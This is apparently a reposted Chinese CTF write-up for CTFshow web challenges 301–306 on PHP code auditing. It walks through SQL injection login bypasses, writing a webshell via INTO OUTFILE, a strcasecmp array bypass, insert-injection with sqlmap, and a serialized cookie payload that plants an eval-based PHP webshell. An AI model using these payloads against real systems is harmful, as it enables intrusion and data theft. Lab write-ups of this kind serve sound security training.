[PHP之代码审计篇]CTFshowWeb入门 Web301~Web310
Web301https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142546463-269550877.png
在源代码中 以下一处存在sql语句
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142547183-682640127.png
方法一:联合查询注入
在联合查询并不存在得数据时,联合查询就会构造一个虚拟得数据就相当于构造了一个虚拟账户,可以使用这个账户登录。
平常我们联合注入得时候一般是这样得payload:?id=1 and 1=2 union select 1,database()#。会给两个回显位1 数据库名称。这个1是哪里来的呢,就是...select 1...1`创建得虚拟数据1
同时在同文件的第17行if(!strcasecmp($userpwd,$row['sds_password']))
strcasecmp是进行比较字符串,满足条件就能登录,如果str10;相等返回0
账号:-1' union select 1#密码:1https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142547775-1421850562.png
方法二:sql写shell
账号:-1' union select "" into outfile "/var/www/html/shell.php"#密码:1https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142548135-1535060283.png
方法三:非预期
bp抓包访问index.php
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142548499-6222675.png
方法四:利用strcasecmp数组绕过
userid=admin&userpwd[]=1根据前面的写shell,我们可以phpinfo()一下看一下php版本(7.3.22)
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142548817-1624679632.png
当 strcasecmp 的参数为数组时:
[*]PHP 7.4 及以下:函数会返回 NULL,在条件判断中被视为 false。
[*]PHP 8.0 及以上:会触发 E_WARNING 并返回 0(视为相等)。
所以可以利用数组进行绕过
Web302
根据题目
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142549135-1865900982.png
方法一:依旧可以用sql写shell
方法二:联合注入
但需要稍微改一下payload
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142549470-941790068.png
md5(md5('1'.md5(base64_encode("sds")))."sds")
账号:-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#密码:1方法三:依旧是非预期
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142549791-1475086597.png
Web303(insert注入)
审计源码后,发现在dptadd.php中提示了注入点。
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142550173-799906877.png
但是需要我们带着cookie进行访问,所以需要先登录
在checklogin.php中
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142550566-836905945.png
结合fun.php
我们可以看出来账号和密码都是admin进行登录
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142550950-395365124.png
然后去访问dptadd.php 会给我们一个返回语句
结合源码
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";$result=$mysqli->query($sql);echo $sql;无过滤的insert注入
然后可以手工注入也可以直接进行sqlmap跑
python sqlmap.py -r "C:\Users\26387\Desktop\1.txt" -p dpt_name --batch -D sds -T sds_fl9g -C flag --dump
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142551321-945324851.png
手工注入:
查表名dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#查字段dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g');#查值dpt_name=1',sds_address=(select flag from sds_fl9g)#可以在dpt.php下看到
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142551817-1141437750.png
Web304(有过滤的insert注入)
相比上一题增加了全局waf
function sds_waf($str){ return preg_match('/||-/i', $str);}但似乎环境并没有做过滤
依旧能用上面一样的打法
python sqlmap.py -r "C:\Users\26387\Desktop\1.txt" --batch -p dpt_name -D sds -T sds_flaag -C flag --dump
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142552267-2097666661.png
Web305(反序列化file_put_contents写入文件)
相比前面一题在fun.php中过滤很多,也就不能用之前的方法了。但他新增了class.php
class user{ public $username; public $password; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __destruct(){ file_put_contents($this->username, $this->password); }}同时在checklogin.php中调用了这个
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142552842-1971777151.png
所以这题是反序列化漏洞
O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A8%3A%22password%22%3Bs%3A29%3A%22%3C%3Fphp+%40eval%28%24_POST%5B%22cmd%22%5D%29%3B%3F%3E%22%3B%7D在登陆的时候抓包,并在Cookie后面加上user和我们的反序列化串
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142553279-875247834.png
然后用蚁剑连接
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142553721-752857829.png
但是发现没有找到flag
但是在连接上的蚁剑中conn.php给了我们数据库的一些信息
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142554080-12945297.png
然后回到shell,右键的数据操作
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142554679-1456670327.png
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142554990-869409077.png
找到flag位置,点击执行
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142555325-1813566478.png
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142555651-1008348082.png
ctfshow{c8cade8c-a2d1-485b-a0ab-1320d1cc6dca}
Web306
审计源码
这次反序列化的注入点在index.php下
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142555948-783441688.png
然后去看dao.php
可以看到存在__destruct()方法,那么就是从这入手
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142556441-404853490.png
调用了class.php下的log类的close方法
https://img2024.cnblogs.com/blog/3588329/202509/3588329-20250911142556784-1329159839.png
然后在这个方法中存在file_put_contents()也就是写入函数
谢谢楼主提供! 感谢,下载保存了
页:
[1]